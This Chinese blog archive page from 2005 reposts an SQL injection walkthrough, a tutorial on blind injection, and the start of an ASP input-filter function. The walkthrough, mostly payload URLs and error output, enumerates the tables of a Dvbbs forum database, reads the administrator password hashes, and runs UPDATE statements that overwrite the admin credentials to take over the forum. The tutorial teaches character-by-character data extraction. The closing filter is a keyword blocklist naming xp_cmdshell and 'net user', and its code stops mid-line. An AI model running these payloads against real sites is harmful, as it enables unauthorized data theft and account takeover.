Monthly Archives: 七月 2005

SQL注入点

下面是六中男孩的正文
现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
一、 首先确定目标。假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6′ 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ” 之前有未闭合的引号。
继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)–
返回: Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ‘Microsoft SQL Server 2000 – 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ‘ 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的SP4补丁。
取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())–
返回:Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ‘webuser’ 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser
取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())–
返回:Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’01city’ 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为: 01city
接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER(‘sysadmin’))–
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=(SELECT%20IS_MEMBER(‘db_owner’))–
正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。
二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
首先得到第一个表:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in(”))–
返回:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ‘address’ 转换为数据类型为 int 的列时发生语法错误。
好的,第一个表名出来了,为: address
继续,
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in(‘address’))–
返回: admin 第二个表名也出来了。依次类推, 提交:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in(‘address’,’admin’,…))–
可以得到当前数据库中所有表名。
不一会儿,结果出来了, 表名好眼熟啊。
“address”,”admin”,”bbslink”,”bbsnews”,”board”,”user”………傻瓜都看的出这是动网的表。当然还有其它的一些表,我们不去管它。
接下来就好办了,也不要去猜字段了,我们打开自己的动网数据库看一下就知道了。 既然有了表名,字段名,那么,动网不就在你掌握之下了吗? 但千万不要 drop table啊。 破坏就不好了。我们的目的是演练技术,提高水平。 好,那么,我们去得到动网的后台。
三、进入后台,取得动网论坛管理员权限。
先看看后台有多少个管理员:
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)–
返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)–
正常显示信息,看来管理员只有一个,读出管理员名字,
http://www.loveyou.com/type.asp?id=(select username from admin)–
出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:
http://www.loveyou.com/type.asp?id=(select password from admin)–
很顺利,密码为: e7cc01be0e33a273
是MD5加密过的。难道要去破解它吗? 别急,根本不需要去破MD5密码。
由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin
好,得到他的密码:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username=’admin’)–
返回,admin的前台密码为:e7cc01be0e33a273
同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
http://www.loveyou.com/type.asp?id=6;update user set userpassword=’49ba59abbe56e057′ where username=’admin’;–
正常返回信息,应该成功执行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username=’admin’)–
返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set username=’admin’ where username=’01city’–
查看一下:
http://www.loveyou.com/type.asp?id=(select username from admin)–
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:
http://www.loveyou.com/type.asp?id=6;update admin set password=’49ba59abbe56e057′ where username=’admin’–
查看一下:
http://www.loveyou.com/type.asp?id=(select password from admin)–
更改成功,后台管理员密码已经变成:49ba59abbe56e057
到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。
四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果。
————————————————————————————————————————————————————
SQL注入一般步骤与注入常用函数
作者: 来源:
学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
  (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  Select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  Select * from 表名 where 字段=49 And [查询条件]
  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  Select * from 表名 where 字段=’连续剧’
  注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
  Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  Select * from 表名 where 字段like ’%关键字%’
  注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
  Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
  ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
  http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
  id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
  Access:asc(字符) SQLServer:unicode(字符)
  作用:返回某字符的ASCII码
  Access:chr(数字) SQLServer:nchar(数字)
  作用:与asc相反,根据ASCII码返回字符
  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
  Access:abc(数字) SQLServer:abc (数字)
  作用:返回数字的绝对值(在猜解汉字的时候会用到)
  Access:A between B And C SQLServer:A between B And C
  作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
—————————————————————————————————————————————————————————
近段时间由于修改一个ASP程序(有SQL注入漏洞),在网上找了很多相关的一些防范办法,都不近人意,所以我将现在网上的一些方法综合改良了一下,写出这个ASP函数,供大家参考。
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName)
if IsNumeric(ParaValue) = True then
SafeRequest=ParaValue
exit Function
elseIf Instr(LCase(ParaValue),”select “) > 0 or Instr(LCase(ParaValue),”insert “) > 0 or Instr(LCase(ParaValue),”delete from”) > 0 or Instr(LCase(ParaValue),”count(“) > 0 or Instr(LCase(ParaValue),”drop table”) > 0 or Instr(LCase(ParaValue),”update “) > 0 or Instr(LCase(ParaValue),”truncate “) > 0 or Instr(LCase(ParaValue),”asc(“) > 0 or Instr(LCase(ParaValue),”mid(“) > 0 or Instr(LCase(ParaValue),”char(“) > 0 or Instr(LCase(ParaValue),”xp_cmdshell”) > 0 or Instr(LCase(ParaValue),”exec master”) > 0 or Instr(LCase(ParaValue),”net localgroup administrators”) > 0 or Instr(LCase(ParaValue),” and “) > 0 or Instr(LCase(ParaValue),”net user”) > 0 or Instr(LCase(ParaValue),” or “) > 0 then
Response.Write “